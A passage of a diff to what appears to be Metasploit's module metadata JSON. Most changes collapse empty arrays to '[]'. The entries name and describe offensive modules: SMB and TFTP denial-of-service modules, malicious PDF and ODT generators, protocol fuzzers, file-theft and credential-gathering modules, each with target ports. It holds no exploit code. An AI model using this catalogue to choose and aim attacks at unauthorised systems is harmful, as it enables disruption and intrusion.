21:38:44 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb", @@ -18158,20 +15793,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms10_054_queryfs_pool_overflow": { "name": "Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS", "fullname": "auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18205,20 +15835,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/ms11_019_electbowser": { "name": "Microsoft Windows Browser Pool DoS", "fullname": "auxiliary/dos/windows/smb/ms11_019_electbowser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18238,12 +15863,8 @@ "platform": "", "arch": "", "rport": 138, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb", @@ -18252,20 +15873,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smb/rras_vls_null_deref": { "name": "Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference", "fullname": "auxiliary/dos/windows/smb/rras_vls_null_deref", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-06-14", "type": "auxiliary", @@ -18295,8 +15911,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ -18309,9 +15924,7 @@ "auxiliary_dos/windows/smb/vista_negotiate_stop": { "name": "Microsoft Vista SP0 SMB Negotiate Protocol DoS", "fullname": "auxiliary/dos/windows/smb/vista_negotiate_stop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18325,12 +15938,8 @@ "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb", @@ -18339,20 +15948,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/smtp/ms06_019_exchange": { "name": "MS06-019 Exchange MODPROP Heap Overflow", "fullname": "auxiliary/dos/windows/smtp/ms06_019_exchange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-11-12", "type": "auxiliary", @@ -18388,20 +15992,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/ssh/sysax_sshd_kexchange": { "name": "Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service", "fullname": "auxiliary/dos/windows/ssh/sysax_sshd_kexchange", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-17", "type": "auxiliary", @@ -18416,12 +16015,8 @@ "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb", @@ -18430,20 +16025,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/tftp/pt360_write": { "name": "PacketTrap TFTP Server 2.2.5459.0 DoS", "fullname": "auxiliary/dos/windows/tftp/pt360_write", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-29", "type": "auxiliary", @@ -18459,12 +16049,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/tftp/pt360_write.rb", @@ -18473,20 +16059,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/windows/tftp/solarwinds": { "name": "SolarWinds TFTP Server 10.4.0.10 Denial of Service", "fullname": "auxiliary/dos/windows/tftp/solarwinds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-05-21", "type": "auxiliary", @@ -18502,12 +16083,8 @@ "platform": "", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/windows/tftp/solarwinds.rb", @@ -18516,20 +16093,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/capwap": { "name": "Wireshark CAPWAP Dissector DoS", "fullname": "auxiliary/dos/wireshark/capwap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-28", "type": "auxiliary", @@ -18546,12 +16118,8 @@ "platform": "", "arch": "", "rport": 5247, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/wireshark/capwap.rb", @@ -18560,20 +16128,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/chunked": { "name": "Wireshark chunked_encoding_dissector Function DOS", "fullname": "auxiliary/dos/wireshark/chunked", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-02-22", "type": "auxiliary", @@ -18589,12 +16152,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2020-10-02 17:38:06 +0000", "path": "/modules/auxiliary/dos/wireshark/chunked.rb", @@ -18603,20 +16162,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/cldap": { "name": "Wireshark CLDAP Dissector DOS", "fullname": "auxiliary/dos/wireshark/cldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-03-01", "type": "auxiliary", @@ -18633,12 +16187,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/dos/wireshark/cldap.rb", @@ -18647,20 +16197,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_dos/wireshark/ldap": { "name": "Wireshark LDAP Dissector DOS", "fullname": "auxiliary/dos/wireshark/ldap", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-03-28", "type": "auxiliary", @@ -18675,12 +16220,8 @@ "platform": "", "arch": "", "rport": 389, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/dos/wireshark/ldap.rb", @@ -18689,20 +16230,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fileformat/badpdf": { "name": "BADPDF Malicious PDF Creator", "fullname": "auxiliary/fileformat/badpdf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18720,12 +16256,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2024-01-07 15:02:53 +0000", "path": "/modules/auxiliary/fileformat/badpdf.rb", @@ -18734,20 +16266,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fileformat/multidrop": { "name": "Windows SMB Multi Dropper", "fullname": "auxiliary/fileformat/multidrop", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18765,12 +16292,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-12-04 17:41:24 +0000", "path": "/modules/auxiliary/fileformat/multidrop.rb", @@ -18779,20 +16302,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fileformat/odt_badodt": { "name": "LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator", "fullname": "auxiliary/fileformat/odt_badodt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-05-01", "type": "auxiliary", @@ -18807,12 +16325,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2018-06-06 11:26:20 +0000", "path": "/modules/auxiliary/fileformat/odt_badodt.rb", @@ -18821,20 +16335,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/dns/dns_fuzzer": { "name": "DNS and DNSSEC Fuzzer", "fullname": "auxiliary/fuzzers/dns/dns_fuzzer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18842,18 +16351,12 @@ "pello " ], "description": "This module will connect to a DNS server and perform DNS and\n DNSSEC protocol-level fuzzing. Note that this module may inadvertently\n crash the target server.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 53, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-12-07 08:01:52 +0000", "path": "/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb", @@ -18862,20 +16365,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ftp/client_ftp": { "name": "Simple FTP Client Fuzzer", "fullname": "auxiliary/fuzzers/ftp/client_ftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18889,12 +16387,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ftp/client_ftp.rb", @@ -18903,20 +16397,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ftp/ftp_pre_post": { "name": "Simple FTP Fuzzer", "fullname": "auxiliary/fuzzers/ftp/ftp_pre_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18925,18 +16414,12 @@ "jduck " ], "description": "This module will connect to a FTP server and perform pre- and post-authentication fuzzing", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2019-03-05 03:38:51 +0000", "path": "/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb", @@ -18945,20 +16428,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/http/http_form_field": { "name": "HTTP Form Field Fuzzer", "fullname": "auxiliary/fuzzers/http/http_form_field", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -18996,20 +16474,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/http/http_get_uri_long": { "name": "HTTP GET Request URI Fuzzer (Incrementing Lengths)", "fullname": "auxiliary/fuzzers/http/http_get_uri_long", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19017,18 +16490,12 @@ "nullthreat" ], "description": "This module sends a series of HTTP GET request with incrementing URL lengths.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/http/http_get_uri_long.rb", @@ -19037,20 +16504,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/http/http_get_uri_strings": { "name": "HTTP GET Request URI Fuzzer (Fuzzer Strings)", "fullname": "auxiliary/fuzzers/http/http_get_uri_strings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19058,18 +16520,12 @@ "nullthreat" ], "description": "This module sends a series of HTTP GET request with malicious URIs.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb", @@ -19078,20 +16534,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ntp/ntp_protocol_fuzzer": { "name": "NTP Protocol Fuzzer", "fullname": "auxiliary/fuzzers/ntp/ntp_protocol_fuzzer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19099,18 +16550,12 @@ "Jon Hart " ], "description": "A simplistic fuzzer for the Network Time Protocol that sends the\n following probes to understand NTP and look for anomalous NTP behavior:\n\n * All possible combinations of NTP versions and modes, even if not\n allowed or specified in the RFCs\n * Short versions of the above\n * Short, invalid datagrams\n * Full-size, random datagrams\n * All possible NTP control messages\n * All possible NTP private messages\n\n This findings of this fuzzer are not necessarily indicative of bugs,\n let alone vulnerabilities, rather they point out interesting things\n that might deserve more attention. Furthermore, this module is not\n particularly intelligent and there are many more areas of NTP that\n could be explored, including:\n\n * Warn if the response is 100% identical to the request\n * Warn if the \"mode\" (if applicable) doesn't align with what we expect,\n * Filter out the 12-byte mode 6 unsupported opcode errors.\n * Fuzz the control message payload offset/size/etc. There be bugs", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2021-04-06 14:45:11 +0000", "path": "/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb", @@ -19119,20 +16564,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb2_negotiate_corrupt": { "name": "SMB Negotiate SMB2 Dialect Corruption", "fullname": "auxiliary/fuzzers/smb/smb2_negotiate_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19140,18 +16580,12 @@ "hdm " ], "description": "This module sends a series of SMB negotiate requests that advertise a\n SMB2 dialect with corrupted bytes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb", @@ -19160,20 +16594,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_create_pipe": { "name": "SMB Create Pipe Request Fuzzer", "fullname": "auxiliary/fuzzers/smb/smb_create_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19181,9 +16610,7 @@ "hdm " ], "description": "This module sends a series of SMB create pipe\n requests using malicious strings.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19203,20 +16630,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_create_pipe_corrupt": { "name": "SMB Create Pipe Request Corruption", "fullname": "auxiliary/fuzzers/smb/smb_create_pipe_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19224,9 +16646,7 @@ "hdm " ], "description": "This module sends a series of SMB create pipe requests with corrupted bytes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19246,20 +16666,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_negotiate_corrupt": { "name": "SMB Negotiate Dialect Corruption", "fullname": "auxiliary/fuzzers/smb/smb_negotiate_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19267,18 +16682,12 @@ "hdm " ], "description": "This module sends a series of SMB negotiate requests with corrupted bytes", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-08-24 21:38:44 +0000", "path": "/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb", @@ -19287,20 +16696,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_ntlm1_login_corrupt": { "name": "SMB NTLMv1 Login Request Corruption", "fullname": "auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19308,9 +16712,7 @@ "hdm " ], "description": "This module sends a series of SMB login requests using\n the NTLMv1 protocol with corrupted bytes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19330,20 +16732,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_tree_connect": { "name": "SMB Tree Connect Request Fuzzer", "fullname": "auxiliary/fuzzers/smb/smb_tree_connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19351,9 +16748,7 @@ "hdm " ], "description": "This module sends a series of SMB tree connect\n requests using malicious strings.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19373,20 +16768,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smb/smb_tree_connect_corrupt": { "name": "SMB Tree Connect Request Corruption", "fullname": "auxiliary/fuzzers/smb/smb_tree_connect_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19394,9 +16784,7 @@ "hdm " ], "description": "This module sends a series of SMB tree connect requests with corrupted bytes.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 445, @@ -19416,20 +16804,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/smtp/smtp_fuzzer": { "name": "SMTP Simple Fuzzer", "fullname": "auxiliary/fuzzers/smtp/smtp_fuzzer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19463,20 +16846,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_kexinit_corrupt": { "name": "SSH Key Exchange Init Corruption", "fullname": "auxiliary/fuzzers/ssh/ssh_kexinit_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19484,18 +16862,12 @@ "hdm " ], "description": "This module sends a series of SSH requests with a corrupted initial key exchange payload.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb", @@ -19504,20 +16876,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_version_15": { "name": "SSH 1.5 Version Fuzzer", "fullname": "auxiliary/fuzzers/ssh/ssh_version_15", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19525,18 +16892,12 @@ "hdm " ], "description": "This module sends a series of SSH requests with malicious version strings.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb", @@ -19545,20 +16906,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_version_2": { "name": "SSH 2.0 Version Fuzzer", "fullname": "auxiliary/fuzzers/ssh/ssh_version_2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19566,18 +16922,12 @@ "hdm " ], "description": "This module sends a series of SSH requests with malicious version strings.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb", @@ -19586,20 +16936,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/ssh/ssh_version_corrupt": { "name": "SSH Version Corruption", "fullname": "auxiliary/fuzzers/ssh/ssh_version_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19607,18 +16952,12 @@ "hdm " ], "description": "This module sends a series of SSH requests with a corrupted version string", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb", @@ -19627,20 +16966,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/tds/tds_login_corrupt": { "name": "TDS Protocol Login Request Corruption Fuzzer", "fullname": "auxiliary/fuzzers/tds/tds_login_corrupt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19648,9 +16982,7 @@ "hdm " ], "description": "This module sends a series of malformed TDS login requests.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -19676,20 +17008,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_fuzzers/tds/tds_login_username": { "name": "TDS Protocol Login Request Username Fuzzer", "fullname": "auxiliary/fuzzers/tds/tds_login_username", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19697,9 +17024,7 @@ "hdm " ], "description": "This module sends a series of malformed TDS login requests.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -19725,20 +17050,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/acronis_cyber_protect_machine_info_disclosure": { "name": "Acronis Cyber Protect/Backup machine info disclosure", "fullname": "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19793,16 +17113,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/adobe_coldfusion_fileread_cve_2023_26360": { "name": "Adobe ColdFusion Unauthenticated Arbitrary File Read", "fullname": "auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -19848,22 +17164,16 @@ "artifacts-on-disk", "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/advantech_webaccess_creds": { "name": "Advantech WebAccess 8.1 Post Authentication Credential Collector", "fullname": "auxiliary/gather/advantech_webaccess_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-01-21", "type": "auxiliary", @@ -19902,20 +17212,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/alienvault_iso27001_sqli": { "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", "fullname": "auxiliary/gather/alienvault_iso27001_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-30", "type": "auxiliary", @@ -19952,20 +17257,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/alienvault_newpolicyform_sqli": { "name": "AlienVault Authenticated SQL Injection Arbitrary File Read", "fullname": "auxiliary/gather/alienvault_newpolicyform_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-09", "type": "auxiliary", @@ -20005,20 +17305,15 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_gather/android_browser_file_theft": { "name": "Android Browser File Theft", "fullname": "auxiliary/gather/android_browser_file_theft", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -20034,12 +17329,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-01-23 15:28:32 +0000", "path": "/modules/auxiliary/gather/android_browser_file_theft.rb", @@ -20048,8 +17339,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "actions": [ @@ 